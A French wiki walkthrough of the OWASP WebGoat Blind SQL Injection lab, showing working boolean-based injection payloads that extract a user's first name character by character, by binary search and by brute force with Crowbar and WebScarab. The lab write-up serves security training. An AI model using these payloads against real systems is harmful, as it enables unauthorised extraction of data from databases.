OWASP WebGoat:Blind SQL Injection

From aldeid
Jump to navigation Jump to search

Blind SQL Injection

Description

L'objectif de cet exercice est de vous montrer comment récupérer certaines informations de la base de données à partir de combinaison de plusieurs requêtes. L'ercice suivant propose par exemple de déterminer le nom d'un utilisateur valide en testant les caractères ascii de ce nom d'utilisateur, lettre par lettre.

Le tableau qui suit fournit la liste des codes ascii correspondants aux lettres de l'alphabet :

Analyse et résolution de l'exercice

Il est précisé dans l'exercice que le champ permettant de filtrer les utilisateurs est userid et que la table est user_data. La requête a donc la forme suivante :

"SELECT * FROM user_data WHERE userid = " + accountNumber

Comme nous savons que le userid 101 est valide (partie de la requête vraie), l'objectif est d'ajouter des tests afin de déterminer lettre par lettre le nom de l'utilisateur dont le userid est 15613 :

  • Requête préalable de vérification du userid 15613 :

Saisir 15613 dans le champ "Enter your Account Number" puis cliquer sur "Go!". Le résultat est valid ("Account number is valid").

Première méthode : analyse dichotomique

Le principe est de déterminer dans quelle moitié se trouve chaque lettre. Pour la première lettre, il s'agit de la moitié de l'alphabet, pour la deuxième, l'étendu est réduite au quart de l'alphabet, etc.

  • Pour la première lettre, la requête sera :
101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) ) < 77 ); 

La première lettre est donc "J".

  • Pour les autres lettres, procéder de la même manière, en décalant à chaque fois la position de 1 :
Pos. lettre Saisie Lettre
1 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) )=73); J
2 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) )=111); o
3 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 3 , 1) )=101); e
4 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 4 , 1) )=115); s
5 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 5 , 1) )=112); p
6 101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 6 , 1) )=104); h

La solution est donc Joesph.

Deuxième méthode : brute force

Une autre méthode consiste à brute-forcer chaque lettre en envoyant tous les caractères possibles et en analysant les résultats.

Ceci est réalisable avec l'outil Crowbar. Pour ce faire, interceptons la requête avec WebScarab lorsque nous saisissons la chaîne suivante :

101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 1 , 1) )=65 )

Puis compléter la fenêtre dans Crowbar comme suit :

Cliquer sur "Start" pour lancer l'attaque.

Puis précéder de la même manière pour les lettres suivantes, en incrémentant la position de départ dans la requête :

101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 2 , 1) )=65 )
101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 3 , 1) )=65 )
101 AND (ascii( substr((SELECT first_name FROM user_data WHERE userid=15613) , 4 , 1) )=65 )
...